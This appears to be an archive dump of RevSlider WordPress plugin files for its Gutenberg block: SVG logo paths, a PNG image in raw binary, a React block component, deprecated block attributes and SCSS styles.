                <path d="M109.885708,17.2933315 C111.112037,18.0782857 112.674564,17.7068631 113.615465,17.3505565 L113.615465,14.2398917 C112.222165,14.5141398 110.787122,14.3327474 109.601407,14.0369049 L109.885708,17.2933315 Z M111.528335,21 C110.058319,21 108.455177,20.5789104 107.060749,19.2433004 C106.777576,18.9722914 106.602709,18.6138254 106.569991,18.2326853 L106.005902,11.7543831 C105.954006,11.1616185 106.247333,10.5893685 106.767423,10.2643736 C107.288641,9.93937882 107.949754,9.91238589 108.495792,10.1952718 C108.553329,10.2233444 112.394776,12.1160883 114.111864,10.4749185 C114.595852,10.0106401 115.324655,9.87243636 115.955307,10.1240104 C116.588215,10.3745048 117,10.9640303 117,11.6194185 L117,18.3676499 C117,18.9366608 116.688623,19.4646424 116.178686,19.7572457 C116.042177,19.8349853 113.968585,21 111.528335,21 L111.528335,21 Z" id="Fill-39" fill="#0A0B09"></path>
                <polyline id="Fill-40" fill="#EEA32D" points="9 90 97 94.1022244 84.10741 183.509279 46.5260409 193 14.1364855 178.885624 9 90"></polyline>
                <path d="M15.4265762,178.146458 L46.2001653,191.570086 L81.964765,182.527889 L94.3810143,96.3371127 L10.4771667,92.4230935 L15.4265762,178.146458 Z M46.0539992,195 C45.8201334,195 45.5885163,194.952146 45.3737645,194.858664 L13.1205247,180.789562 C12.541482,180.535824 12.1535796,179.98272 12.1176003,179.357278 L7.00291057,90.7637808 C6.9748017,90.2908044 7.15132539,89.8300697 7.48750746,89.4939782 C7.82368952,89.1578867 8.28692367,88.9853894 8.76589879,89.0009698 L96.3924849,93.0885992 C96.8658383,93.1108569 97.3099584,93.3300954 97.6124098,93.6917832 C97.9148612,94.054584 98.0497838,94.5264476 97.9834469,94.9916338 L85.1444402,184.104848 C85.04887,184.773693 84.5541539,185.319007 83.891909,185.487053 L46.4711348,194.947694 C46.3339635,194.982194 46.1934191,195 46.0539992,195 L46.0539992,195 Z" id="Fill-41" fill="#0A0B09"></path>
                <polyline id="Fill-42" fill="#F2BB2A" points="48.3222533 94 46 191 82.1603119 181.079293 95 95.2136681 48.3222533 94"></polyline>
                <polyline id="Fill-43" fill="#EEA32D" points="96.9709428 94 106 88.3437614 18.711965 85 9 89.990542 96.9709428 94"></polyline>
                <path d="M14.9054644,89.5850504 L95.8567455,93.5075518 L99.9350628,90.7919739 L18.7498997,87.4833388 L14.9054644,89.5850504 Z M96.3188873,97 C96.2930254,97 96.266039,97 96.2401771,96.9988439 L8.60639263,92.7526466 C7.84740058,92.7144967 7.20647396,92.1619014 7.04118236,91.4000599 C6.87476633,90.6370623 7.22334045,89.8555677 7.89462676,89.4879416 L17.5692454,84.2012929 C17.8334871,84.0579419 18.1280885,83.9966708 18.428312,84.000139 L105.38069,87.5422977 C106.114945,87.5723552 106.745751,88.0879566 106.940278,88.8174285 C107.133681,89.5457445 106.84695,90.3203026 106.230761,90.7307029 L97.2364244,96.7213903 C96.9620628,96.9040473 96.6438484,97 96.3188873,97 L96.3188873,97 Z" id="Fill-44" fill="#0A0B09"></path>
                <polyline id="Fill-45" fill="#F2BB2A" points="84 184 96.936911 94.7753029 106 89 91.7431117 176.974477 84 184"></polyline>
                <path d="M97.9553519,95.4055533 L85.9926211,178.937243 L89.734111,175.50057 L103.084148,92.0976864 L97.9553519,95.4055533 Z M83.673009,185 C83.4075918,185 83.1410594,184.936707 82.8946006,184.809012 C82.2689745,184.481446 81.9165718,183.796332 82.0169397,183.099004 L94.7502723,94.1841187 C94.8182994,93.7077592 95.091523,93.2835883 95.4974551,93.0226455 L104.417925,87.2674679 C104.971064,86.9099207 105.68479,86.911031 106.240159,87.2696887 C106.793297,87.6283463 107.082134,88.2779274 106.979535,88.9286189 L92.9469969,176.59542 C92.8878914,176.964071 92.7049989,177.303852 92.4295449,177.557022 L84.8071655,184.558063 C84.4915644,184.848986 84.0845171,185 83.673009,185 L83.673009,185 Z" id="Fill-46" fill="#0A0B09"></path>
                <polyline id="Fill-47" fill="#FAD443" points="47.9646427 100 89 101.28288 77.1161444 179.006345 46 186 47.9646427 100"></polyline>
                <polyline id="Fill-48" fill="#F2BB2A" points="49 99.9933788 46.9833519 186 19.7769353 175.249873 15 98 49 99.9933788"></polyline>
                <path d="M24.9146258,146.352096 C26.3492662,149.019954 28.2712072,150.307274 30.2056431,150.328359 C33.3134627,150.361652 34.9741469,148.752503 35.0343496,143.505567 L35.3240038,118 L44,118.09322 L43.7012586,144.323459 C43.6149303,151.920862 39.7335635,158.090006 31.2915625,157.999006 C25.4280522,157.93464 21.585306,155.542002 19,150.750067 L24.9146258,146.352096" id="Fill-49" fill="#0A0B09"></path>
                <path d="M54.9414629,146.068973 C57.5532837,148.524143 60.9738692,150.261407 64.071171,150.296018 C67.5695223,150.335095 69.3059221,148.899284 69.3325847,146.533434 C69.3603582,144.045886 67.2473496,143.233079 63.9934052,141.741443 L59.2008083,139.502874 C55.3191826,137.822551 51.6886294,134.384867 51.751953,128.621526 C51.8241641,122.068825 57.4421897,116.91509 65.1843332,117.00106 C69.4847835,117.049069 73.9952015,118.919196 77.1680472,122.351298 L72.8631532,127.946048 C70.4201953,125.917379 68.0827767,124.738361 65.0999018,124.704866 C62.2325646,124.673605 60.32508,125.985485 60.3006393,128.230753 C60.2739767,130.656894 62.7302659,131.534458 65.9842103,132.965803 L70.7212602,135.082675 C75.2283453,137.073383 78.0601324,140.319031 77.9990306,145.900382 C77.9268195,152.451967 72.7020669,158.098076 63.8145437,157.998708 C58.9397373,157.944 53.8005271,155.945476 50,152.141582 L54.9414629,146.068973" id="Fill-50" fill="#0A0B09"></path>
                <path d="M130.952199,147.725697 C116.102584,135.852178 96.9717971,143.944379 90.2272701,158.311359 C83.4827431,172.679466 76.8648581,188.635141 87.882712,187.980509 C98.900566,187.327003 133.473832,184.205951 143,152.708113" id="Fill-51" fill="#F9CE22"></path>
                <path d="M86.9984518,190 C84.3581701,190 82.4206808,189.120087 81.2312526,187.382623 C77.9357102,182.566024 81.5605805,172.624242 88.4775981,158.145375 C92.3548399,150.029383 100.213441,143.731356 108.987596,141.711023 C117.177789,139.824857 125.416645,141.721085 132.19333,147.045283 C132.926679,147.621084 133.047772,148.676532 132.464941,149.401034 C131.88211,150.125536 130.814906,150.247405 130.079294,149.669368 C124.131021,144.996999 116.911837,143.327736 109.75716,144.977992 C101.970988,146.770241 94.9928582,152.365009 91.54793,159.578727 C88.4413833,166.078005 81.1690085,181.301499 84.0435544,185.503166 C84.2597112,185.819577 84.9240255,186.777753 87.5439365,186.629051 C116.674177,184.93072 135.392677,173.236938 141.677068,152.813351 C141.950942,151.927848 142.899316,151.428075 143.795631,151.69641 C144.691946,151.965862 145.198953,152.902796 144.92621,153.789416 C138.190267,175.675425 118.418144,188.188744 87.7442493,189.976521 C87.4907461,189.992174 87.2417697,190 86.9984518,190" id="Fill-52" fill="#0A0B09"></path>
                <path d="M91.1321966,181.990235 C91.1321966,181.990235 88.8371128,195 76.2141522,195 C63.5911915,195 68.9467694,180.131219 67.4170961,170.465898 C65.8862752,160.800577 59.7664344,148.162169 68.9467694,142.21488 C78.1271045,136.26759 89.2203918,153.738101 91.1321966,160.42922 C93.8105593,169.350712 93.4272804,174.927759 91.1321966,181.990235" id="Fill-53" fill="#F9CE22"></path>
                <path d="M72.5114765,142.321921 C71.4567972,142.321921 70.4666208,142.628995 69.5183148,143.248686 C63.4437242,147.21515 65.3041242,154.826593 67.272029,162.88479 C67.8276594,165.159576 68.4025275,167.511962 68.746543,169.694737 C69.1890104,172.513831 69.0803739,175.694319 68.9762639,178.768384 C68.8087827,183.698196 68.6356433,188.795402 70.9204045,191.110097 C71.9603726,192.16213 73.537865,192.674289 75.7434121,192.674289 C86.5799023,192.674289 88.6971823,181.591913 88.7831862,181.119662 L88.8352411,180.903491 C90.8868866,174.541406 91.4934403,169.395423 88.8250565,160.437067 C87.4207035,155.483976 81.0235983,145.030158 74.7634204,142.750938 C73.9792008,142.464927 73.2300616,142.321921 72.5114765,142.321921 Z M75.7434121,196 C72.6133232,196 70.1701337,195.133098 68.4806099,193.422574 C65.194356,190.094646 65.3923913,184.280196 65.5836368,178.657527 C65.6820886,175.735336 65.785067,172.713374 65.3912597,170.201354 C65.0687451,168.152716 64.5357473,165.969941 63.9710639,163.658572 C61.9182868,155.256719 59.5916552,145.7341 67.6352822,140.481695 C70.1271318,138.854314 73.0003407,138.561651 75.9471056,139.63253 C83.6376639,142.434995 90.5440027,154.073874 92.0898094,159.526931 C94.9652816,169.180361 94.2806454,175.021417 92.1067839,181.799215 C91.1912951,186.780021 86.6376154,196 75.7434121,196 L75.7434121,196 Z" id="Fill-54" fill="#0A0B09"></path>
                <path d="M34.1187246,82.3610263 C31.5949934,78.7856636 19.187209,78.9624976 16.6017866,85.0323251 C16.0880671,86.2392173 15.9198183,87.3632185 16.0342275,88.3811193 C16.4941074,92.4825632 21.5404482,94.8333503 27.0074109,93.7270325 C33.8304584,92.3444116 36.5650614,85.826973 34.1187246,82.3610263" id="Fill-55" fill="#F9CE22"></path>
                <path d="M27.1034969,81.2525063 C26.5566537,81.2525063 25.9890442,81.2796431 25.4064369,81.3371731 C22.5037835,81.6259084 19.0185228,82.7906191 17.9456025,85.1981944 C17.5510446,86.081768 17.3964518,86.9164954 17.485285,87.6774108 C17.6433389,89.0201387 18.5478223,89.898285 19.2781003,90.3986873 C21.0974502,91.6426373 23.8731991,92.0605438 26.7043244,91.5112953 C29.7165772,90.9294827 32.1104586,89.1764466 33.1106973,86.8220594 C33.7406054,85.3403911 33.6783068,83.8641502 32.9457214,82.8731149 C32.3088912,82.0112507 30.0130724,81.2525063 27.1034969,81.2525063 Z M24.3115966,95 C21.6350641,95 19.1223538,94.318324 17.241859,93.0309551 C15.412126,91.7783213 14.276907,90.0046612 14.0461714,88.0345308 C13.8904249,86.7167687 14.1292362,85.3382202 14.7545296,83.9379622 C16.1620166,80.7814118 20.0083784,78.598529 25.0430284,78.0992122 C29.0243705,77.7041007 33.8928909,78.4519904 35.7872298,81.0137026 C37.186641,82.9056791 37.387381,85.5292631 36.3248437,88.0301889 C34.8919759,91.4038337 31.5555396,93.8982467 27.4011458,94.7014954 C26.3651431,94.9012221 25.3256794,95 24.3115966,95 L24.3115966,95 Z" id="Fill-56" fill="#0A0B09"></path>
                <path d="M108.648762,76.7683709 C94.2992425,71.1643455 76.1728772,74.5256399 66.7341624,82.7456245 C57.2931819,90.965609 63.7140455,96.9439834 70.8871062,97.6904395 C78.0624326,98.4368957 92.0324556,92.0864141 102.984627,94.3280243 C113.934533,96.5696345 117.293365,100.539526 129,111" id="Fill-57" fill="#F9CE22"></path>
                <path d="M128.310795,113 C127.905304,113 127.500939,112.857638 127.177673,112.569577 C125.907135,111.43513 124.734591,110.378537 123.639766,109.393125 C114.695316,101.327429 111.347764,98.3100217 102.101448,96.4203886 C96.073152,95.1914042 88.8858281,96.7651716 82.5421503,98.1554254 C77.7337056,99.2086818 73.5819307,100.117352 70.3526472,99.7825786 C65.3898907,99.2676285 61.458883,96.6884296 60.3370252,93.2127949 C59.5463182,90.7637237 59.7637063,86.8376469 65.2840126,82.0418272 C75.5958681,73.0808069 94.6651979,70.3425629 108.696305,75.8112655 C109.563605,76.148263 109.98937,77.1181041 109.646956,77.9745005 C109.304541,78.8320091 108.321226,79.253534 107.455053,78.9143121 C94.5030016,73.8671345 76.959894,76.339562 67.5164646,84.5465085 C64.2781702,87.3592701 62.8713425,90.0774944 63.5561714,92.1995779 C64.2601484,94.379496 67.1335011,96.0945131 70.7063253,96.4648768 C73.3870698,96.7407031 77.4780211,95.8464918 81.8100142,94.8977826 C88.4859692,93.4352356 96.0506247,91.7747163 102.785151,93.1538482 C112.940442,95.2281069 117.007739,98.8950405 125.918399,106.928483 C127.007592,107.911671 128.175631,108.963815 129.44279,110.092701 C130.135503,110.711086 130.189568,111.765455 129.564437,112.449459 C129.231033,112.814262 128.771477,113 128.310795,113" id="Fill-58" fill="#0A0B09"></path>
            </g>
        </g>
    </g>
</svg>PK�y3\�0~k>>Dincludes/shortcode_generator/gutenberg/src/assets/images/revlogo.pngnu�[����PNG


IHDRT<9BB6tEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:AFAB8F4CAA5A11E89CD589202D6E5AA1" xmpMM:DocumentID="xmp.did:AFAB8F4DAA5A11E89CD589202D6E5AA1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AFAB8F4AAA5A11E89CD589202D6E5AA1" stRef:documentID="xmp.did:AFAB8F4BAA5A11E89CD589202D6E5AA1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>t%�IDATx��]{lU��޾(ς.��J�5(,�4�սU4��U�[[��ݸ����&j�tw
���/Wv���YA�^�"kA(�Ǣ�����>�s��v:sf��ܙ���%_:�;s�<�}�����c�e��x.�����o�|�d���«�q ��Hu)�?3�q��� �j&��P	B:�S����fdA�x>�2���	���Q��dy�Q�����@ �CC-�R2U�j957�@�܇�'�1���e=Τ�I�|��+
��" S�)L�&'^ꒋ��K��	���z�ET�Rjr��%�^v�w59�@�
<l*?]�cҍ—0��9�Eyf��o��!���`
^���Q�/	�s�Q8�����fA�i��
�>��>
=?���{!�Օ�GAr4$Ȃ����q��X�&qE���&T�A�̙����~;���jP|r��cd���pz�&��_�ɓ�+!�>E�i��.���y$lN¹&�-�@ x	���}�…0���0�sjM
��;אL��χ�7�3W��k�����A�d�1=�K�y&A��f�9&B�6%�D��	`�;��O?�q���4��`�C���&���Е���v-��+V��u�H�D�!�5o�|���7p	3�AI����/���o�
7���W���R��k�|���H�@ \���(+�_n��Q��i=r��m�3��A��Ӡ�B�ĉ0~�l�|�p�ܹ��.X��ء;/&��T����1�@��5���x�f��~�3��֯��_}N}����&����"F�s�/�Y�ܷ���D,� U�$����*�pA�2iL7 ӖÇ��?�ܙxX���s�MM��G����o6l��ѣ�j� n�*�i4S�)>�@ \�H�"�Z��7߄�������/)�ӌL��"_�W}̯�q�V����\�. ����o�3�@�t
�k��**`ܢE��N����g�!;И�jmUQ1����P�j�5
��R�w�9ڬ�@ d4�r-����?��-���(/ SEB~
�}��
v�o����J����0��U,Q���0�?5��D��#�H��v��+욠��Z�Wv�<_'�3�:�ߒ<�*bj���2FmޫE�#��_���l�ڨm�o|��J�7E�~��F-�?b5O�{��;�!*����y.��\͢T��$)_��#�Ԏ��R�������W���M���Icn�
g�����/Bہ�R#2�j����y�Y���s�C�����3��s-��+��Z�U�S����h+��Z,C3v̠��!� \a�MP� �2�$�� �~PR>qo��Ń���]�$%^8���f��iR/�u.ԙ*��i�.B��rT������x��#���de?��PۘL�A�y
�g�]Ȓ�@�S׽��z�q[�૫|�H�a�AǺ����Z�1�K����廉I=�C��o�b<�e����|F@Hv�B���
X$1�Ú|�b���=E
�ίۘ�4��G�ƽ�\&�m(*n����k���u>rzc����z��>f���	+&����1�f�&ӄ��ե#SEe���;Be�A�M2��̆ ��a�C��Ϗ��N$�J��j�f#�1C�Q#74y1�e���h�f=<��(�[��u�XC͟7�Ǝ՝?�e���j��Q5���ۮ�
&N�i��	,-1w��dd
�d�NcU��)���Fc���<VӲ�2�TKL�
^>aP%���,�j<V�%�T�/�V��X�
XWU���~�5��᧐��w��S_~9��d�(�ٽ{���:�J�N.#�	�OQ�u�.�Fu�
S�CB����4�|U��]h&��q���Pm�Pmtx�}�~�8�*%��6��F�/�N��L��P]�>Wd�Mg�$��~�t�xf�;��/�\w���1�wvJI�'�R͎��(�Kn�~{�(�n��n��?����,��ƕQ����5h��\�x��u��)鮗��&&�*-�CD�$w���0Oe<�$QOMDŽ�?f��\WK�μW$&�bp^�߀X�?��VN������#sx�����;��HJ��C�I9��g��\f��+�խ�C�E��{�J$,?��@ˌXm���~���֋�;��[ݹ�_mh������
��-��xw�������Z��lPq��d��UM��O�:��5��dD��R���S�e�\%>��\.�k��<���F�fA�!��d�U���Gk��˾zDŽz����B��d	(��pl�vh\�ZJf2s�L��}\
�L��'�F��`�����R�_kҐ�X���H�ə�;�0���0Ey�D+*N�if_���χ��ڬ#B�ɰl����~�8D���ߐ�~�	u$�H�x��p�i���Ԛ)���W@�ȑP8s�.��4S�$ߣr�da`|m-���3)�PC<���T�����wi��8T�����x�b		g=)�8��Y?�Y�"'���+K;�G��P$�w��®�����Yx%��:�[@��g����0�?]T8���WmB��`�ٞ.���N醹&��T�"uM�/�(�pBP�|*4��QFmm{B'Q.�8�tԏ��gZj�i����j�UWAa��rw��3Ę���+`#p�v���Ç��U�$TU#�愄�*2�碙pB�Næ�?�RS�[M!M��L}��&Ѩ��_��Ϡ���	1��ºP���ј�a7L�Vq���;���qt?�۾�������Q>5No�0�:m�ׄ��؄X�.�\k�-z�Icڜ�����p|N���j���
���"K$��۵
	���~j��\��wL�v����
_w�Q��ş�5�g�Y�3��==pj�:������E�T)����3�W��c��aKA��ڤl���.?*h��p�!Ԫ*U�l/�t�nT�p#�A�bF��b1��ċT��i��V2)e�1�Z�c�ؖ-��…�q�t6_��9w�O��ŋ��i���R�s"�$p�u�8,wv7t�d�7n$.�)O��+L}�;)���:� 
��*�qW�d�W$P-5
'�OȎ֌�Q.��`�Abo��&��K�k��Q?�T�0W4,�j��o�c�2�ko7�m�i��(/����K���w��M�rWJ�0�V���cU��6�sd[n��A$�j��Ҙ���pw�'+�j��:���D_\�̚�r���2�S��[8��I)+L<��`�x�񯛂���)E�iO>	W�\9��G�/��J���/}ک�*���R�J�:q;kL<a���L 
&���H6W�!���
s?��E®�e�(4�:�F���ZX��2`����j��i�@D��qǮt�	/�'���L�`��!��7�/)�,�-J�N_��?~��'0c�*)��~�m8������Q��)���])�2�8�;�q�
����/�L�n3I��Zj��pb+�t�R�X,Re��l�_,e�Ok5�o@m-�N2��~���4:��R�K/��j���vv�8��0���pn�~��ܼ<9s&L��&�x�]0n�B�����C��Š�bR�h%.��{_�R}Eל�i��>�� &W��bյ`�-yZN��U�q����F0��F�8,K��_�ץZ?�Gl�7$�@I�'���P�n������������w�~޸=�n(-�J�L}��@ R6����G���r��
7$�5�+dg��O=��}w�Lek���õR�@ \#ԶÇ�?���T�^hml����>>qt�LJ�|�1�7N��2��V)���G�I ��P{Ο�O�-K���uw��+�~�t�/#ֶ}�,������}�.XM����}g)ΔH�@ 7�MqS���ݻR�Zo[b�z�ɘ9sO㮽
g���Q�	��s� v�8t45A�Ν��g7�[%�L��I���A_^��<9��Z��	@��a*�o���.MJ���P�[Z�GA�F)ݠ���l�i0!R�� �~m�(�@ d.��(���3�1�@R���f�2U,�)*�@�
B�ſbCNn�H�F���e���L����L&�6&����S�6��[�]���L�M] �59�@�PO8!T5Y����׉�?�����H�e��	jr��8g5����T���cB�S�6�v��o�&'^�f7�ER�C��/!BY�L�`6359�@�
<�s�k�[�rs��Qcx�h����fZ��z�ɕL�(�@ x��r���,
C7-�~�O�j6Q�"~�ɔ��@ x6�7�]��n�tJ�`%X���@ ��}b�,,�_�l��6B���'��39�e�e�N�ȣ��U(1SyHFK���S`pqT��σ�'�ن�ė�Ӥ�@��`U���1�VIEND�B`�PK�y3\�ƹ�4includes/shortcode_generator/gutenberg/src/index.phpnu�[���<?php // Silence is golden
PK�y3\)��Aincludes/shortcode_generator/gutenberg/src/revslider/revslider.jsnu�[���/**
 * RevSlider Editor Element
 */


/**
 * Internal block libraries
*/
const { Component } = wp.element;
const { TextControl, Button, Tooltip } = wp.components;
if(typeof wp.blockEditor !== 'undefined')
  var { InspectorControls, InspectorAdvancedControls } = wp.blockEditor;
else
  var { InspectorControls, InspectorAdvancedControls } = wp.editor;


  import { RevSliderImage } from './revSliderImage';

/**
 * Component RevSlider for usage in block
*/
export class RevSlider extends Component {
    
  constructor() {	 
      super( ...arguments );
      this.state = jQuery.extend(true,{},this.props.attributes);
      window.revslider_react = {};
  }

  componentDidMount() {
    revslider_react = this;
    // Create Block in RVS with current state
    RVS.SC.BLOCK = this.state;    
    // Open Template Library when block is added for the first time to the page
    if(!this.props.attributes.content && !this.props.attributes.text) { 
      // Check if in widget area, then do not open the template library automatically
      if(wp.data.select( 'core/editor' )!= null && wp.data.select( 'core/editor' ).isEditedPostDirty()) RVS.SC.openTemplateLibrary('gutenberg');
      else return false;
    }
    else{
      // Fallback for saved blocks with no alias attribute (< RevSlider V6.1.6)
      if(!this.props.attributes.alias){
        let shortcode = this.props.attributes.content!==undefined ? RVS.SC.parseShortCode(this.props.attributes.content) :  RVS.SC.parseShortCode(this.props.attributes.text);
        if(shortcode.attributes.alias) {
          this.props.attributes.alias = shortcode.attributes.alias;
          RVS.SC.BLOCK.alias = this.props.attributes.alias;
          this.props.setAttributes( { alias : shortcode.attributes.alias } );
        }
      }
      if(!this.props.attributes.slidertitle ){
        if(this.props.attributes.sliderTitle){
          this.props.setAttributes( { slidertitle : this.props.attributes.sliderTitle } );
        }
      }

    }
  }
  
  // Open Block Settings like offset, popup, admin thumb
  openBlockSettings = () => {
    var data = false;
    RVS.SC.BLOCK = this.state;
    revslider_react = this;
    if(!this.props.attributes.alias) return false;
    RVS.SC.openBlockSettings('gutenberg',this.props.attributes.content);     
  };

  // Open Template Library
  openLibrary = () => {
    revslider_react = this;
    RVS.SC.BLOCK =  this.props.attributes;
    RVS.SC.openTemplateLibrary('gutenberg');
  }

  // Link to Slider Editor in new tab
  openSliderEditor = () => {
    if(!this.props.attributes.alias) return false;
    RVS.SC.openSliderEditor(this.props.attributes.alias);      
  };

  setwrapperid = (value ) => {
    revslider_react = this;
    this.props.setAttributes( { wrapperid:value } );
    RVS.SC.BLOCK = this.state;
    RVS.SC.BLOCK.wrapperid = value;
  }


  // Open File Optimizer PopUp
  openOptimizer = () => {
    if(!this.props.attributes.alias) return false;
    RVS.SC.openOptimizer(this.props.attributes.alias);
  }

  // Update Attributes in case Slider alias changes
  setSliderAttributes = (alias) => {
    setAttributes( { alias } );
    setAttributes( { sliderImage: this.state.sliderImage } );
  }

  

  render() {
      revslider_react = this;
      // Set Attributes from State (state was changed in RevSlider JS)
      this.props.setAttributes(this.state);
      const { setAttributes } = this.props;

      // Turn off Styling in Block Options Sidebar when leaving block
      {
        !this.props.isSelected &&
        (RVS.SC.updateBlockViews(false)) 
      }

      if(!this.props.attributes.slidertitle ){
        if(this.props.attributes.sliderTitle){
          this.props.setAttributes( { slidertitle : this.props.attributes.sliderTitle } );
        }
      }
      
      return [
        <InspectorControls> 
          {
            this.props.attributes.alias && 
              <div className="rs_optimizer_button_wrapper" onClick={ this.openOptimizer } >  
                        <Button 
                              isDefault
                              className={ 'rs_optimizer_button' }
                        >
                            flash_on
                        </Button>
                        <span>Optimize File Sizes</span>
                </div>
          }          
        </InspectorControls>,
        <InspectorAdvancedControls>              
          <TextControl
              label="Module Wrapper IDs"
              value={ this.props.attributes.wrapperid }
              onChange={ ( value ) => this.setwrapperid( value  ) }
              help="Enter a word or two — without spaces or special characters — to make a unique web address just for this module."
          />
        </InspectorAdvancedControls>,
        ,    
      <div className="revslider_block" data-modal={ this.props.attributes.modal } >
          <div class="sliderBar">
            <span>{ this.props.attributes.slidertitle }&nbsp;</span>
            <TextControl
                  className="slider_slug"
                  value={ this.props.attributes.content }
                  onChange={ ( content ) => setSliderAttributes ( this.props.attributes.content ) }
            />
            
                <Tooltip text="Open Block Settings">
                        <Button 
                          isDefault
                          onClick = { this.openBlockSettings }
                          className="slider_editor_button"
                        >
                            tune
                        </Button>
                </Tooltip>
                <Tooltip text="Open Slider Editor">
                      <Button 
                            isDefault
                            onClick = { this.openSliderEditor }
                            className="slider_editor_button"
                      >
                          edit
                      </Button>
                </Tooltip>
                <Button 
                      isDefault
                      onClick = { this.openLibrary } 
                      className="slider_edit_button"
                >
                    Select Module
                </Button>
         
          </div>
          <RevSliderImage {...{ setAttributes, ...this.props }} />
      </div>
      ]
  }
}PK�y3\7͸@Bincludes/shortcode_generator/gutenberg/src/revslider/deprecated.jsnu�[���const deprecated = [
  {
    attributes: {
        checked: {
          type: 'boolean',
          default: false
        },
        modal: {
          type: 'boolean',
          default: false
        },
        text: {
            selector: '.revslider',
            type: 'string',
            source: 'text',
        },
        sliderTitle: {
            selector: '.revslider',
            type: 'string',
            source: 'attribute',
            attribute: 'data-slidertitle',
        },
        sliderImage: {
          type:'string'
        },
        hideSliderImage:{
            boolean: false
        }
     },
      save( props ) {
        const { attributes: { text, sliderTitle, modal } } = props;
        return (
          <div className="revslider" data-modal={modal} data-slidertitle={sliderTitle}>
            {text} 
          </div>
        );
      },
  },
  {
    attributes: {
          checked: {
            type: 'boolean',
            default: false
          },
          text: {
              selector: '.revslider',
              type: 'string',
              source: 'text',
          },
          sliderTitle: {
              selector: '.revslider',
              type: 'string',
              source: 'attribute',
              attribute: 'data-slidertitle',
          }
     },
      save( props ) {
        return (
          <div className="revslider" data-slidertitle={props.attributes.sliderTitle}>
             {props.attributes.text} 
          </div>
        );
      },
  },
  {
    attributes: {
      checked: {
        type: 'boolean',
        default: false
      },
      modal: {
        type: 'boolean',
        default: false
      },
      popup: {
        type: 'object'  
      },
      text: {
          selector: '.revslider',
          type: 'string',
          source: 'text',
      },
      sliderTitle: {
          selector: '.revslider',
          type: 'string',
          source: 'attribute',
          attribute: 'data-slidertitle',
      },
      sliderImage: {
         type:'string'
      },
      hideSliderImage:{
          boolean: false
      },
      offset: {
          type: 'object'
      },
      layout: {
          type: 'string '
      },
      alias: {
        type: 'string'
      },
      zindex: {
        type: 'string'
      },
      shortcode: {
        type: 'string'
      }
    },
    save( props ) {
      const { attributes: { text, sliderTitle, modal, zindex } } = props;
      let style;
      style = zindex ? "z-index:"+zindex+";" : "";
      return (
        <div className="revslider" data-modal={modal} data-slidertitle={sliderTitle} style={style}>
            {text} 
        </div>
      );
    }
  },
  {
    attributes: {
      checked: {
        type: 'boolean',
        default: false
      },
      modal: {
        type: 'boolean',
        default: false
      },
      popup: {
        type: 'object'  
      },
      content: {
          selector: '.revslider',
          type: 'string',
          source: 'text',
      },
      text: {
        selector: '.revslider',
        type: 'string',
        source: 'text',
      },
      sliderTitle: {
          selector: '.revslider',
          type: 'string',
          source: 'attribute',
          attribute: 'data-slidertitle',
      },
      sliderImage: {
         type:'string'
      },
      hideSliderImage:{
          boolean: false
      },
      offset: {
          type: 'object'
      },
      layout: {
          type: 'string '
      },
      alias: {
        type: 'string'
      },
      zindex: {
        type: 'string'
      },
      shortcode: {
        type: 'string'
      }
    },
    save( props ) {
      const { attributes: { text, content, sliderTitle, modal, zindex } } = props;
      let style;
      style = zindex ? "z-index:" + zindex + ";" : "";
      let shortcode = !content && text ? text : content;
      return (
        <div className="revslider" data-modal={ modal } data-slidertitle={ sliderTitle } style={ style }>
            { shortcode }
        </div>
      );
    }
  }
];

export {deprecated};PK�y3\)o	פ�?includes/shortcode_generator/gutenberg/src/revslider/style.scssnu�[���div.revslider_block {
  background: url(images/rs6_logo_2x.png);
  background-size: 120px 30px;
  background-repeat: no-repeat;
  line-height: 32px; }

div.revslider_block .components-text-control__input {
  display: none; }

div.revslider_block span {
  font-weight: bold;
  font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; }

div.revslider_block .slider_slug {
  float: left; }

div.revslider_block .slider_edit_button {
  float: right; }

/*
[data-type="themepunch/revslider"] .editor-block-list__block-edit:before {
  outline: 1px solid rgba(145, 151, 162, 0.25) !important; }
*/
.editor-block-list-item-themepunch-revslider svg,
.components-panel__body.edit-post-block-sidebar__panel svg.dashicons-update {
  width: 24px;
  height: 24px; }

.editor-block-list-item-themepunch-revslider .editor-block-types-list__item-title {
  padding: 4px 1px 4px 1px; }PK�y3\�"AA@includes/shortcode_generator/gutenberg/src/revslider/editor.scssnu�[���/**
 * #.# Common SCSS
 *
 * Can include things like variables and mixins
 * that are used across the project.
*/
/**
 * #.# Common SCSS
 *
 * Can include things like variables and mixins
 * that are used across the project.
*/
/**
 * #.# Common SCSS
 *
 * Can include things like variables and mixins
 * that are used across the project.
*/
div.revslider_block {
  background: url(images/rs6_logo_2x.png);
  background-size: contain;
  background-repeat: no-repeat;
  line-height: 32px; }

div.revslider_block .components-text-control__input {
  display: none; }

div.revslider_block span {
  font-weight: 700;
  font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;
  font-size: 16px; }

div.revslider_block .slider_slug {
  float: left; }

div.revslider_block .slider_edit_button {
  float: right; }

div.revslider_block .slider_editor_button {
  float: right;
  margin-left: 10px;
  font-family: 'Material Icons';
  font-weight: normal;
  font-style: normal;
  display: inline-block;
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  vertical-align: top;
  line-height: 26px;
  font-size: 16px;
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale;
  -webkit-font-feature-settings: 'liga';
  font-feature-settings: 'liga';
  border-color: #5e35b1;
  background: #5e35b1;
  color: #fff; }

